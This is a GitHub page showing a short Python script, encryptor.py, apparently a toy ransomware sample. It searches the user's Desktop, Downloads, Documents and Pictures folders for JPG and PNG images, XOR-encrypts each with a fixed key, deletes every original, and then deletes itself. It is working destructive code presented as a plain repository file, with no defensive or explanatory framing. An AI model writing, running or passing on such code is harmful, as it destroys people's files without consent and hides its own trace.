-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathencryptor.py
42 lines (32 loc) · 1.23 KB
/
encryptor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import os
# Directories to search for image files
directories = ['Desktop', 'Downloads', 'Documents', 'Pictures']
# Key for encryption
key = 48
# Encrypt function
def encrypt_file(file_path):
try:
with open(file_path, 'rb') as file:
image = bytearray(file.read())
# Encrypting the image
for i, j in enumerate(image):
image[i] = j ^ key
# Creating the new encrypted image
encrypted_path = os.path.splitext(file_path)[0] + '_encrypted' + os.path.splitext(file_path)[1]
with open(encrypted_path, 'wb') as file:
file.write(image)
# Deleting the original image
os.remove(file_path)
print(f"Encrypted file: {file_path}")
except IOError:
print(f"Failed to encrypt file: {file_path}")
# Iterate through directories and encrypt image files
for directory in directories:
for root, dirs, files in os.walk(os.path.expanduser('~/' + directory)):
for file in files:
if file.lower().endswith(('.jpg', '.png')):
file_path = os.path.join(root, file)
encrypt_file(file_path)
# Deleting the program file
os.remove(__file__)
print("Program self-deleted.")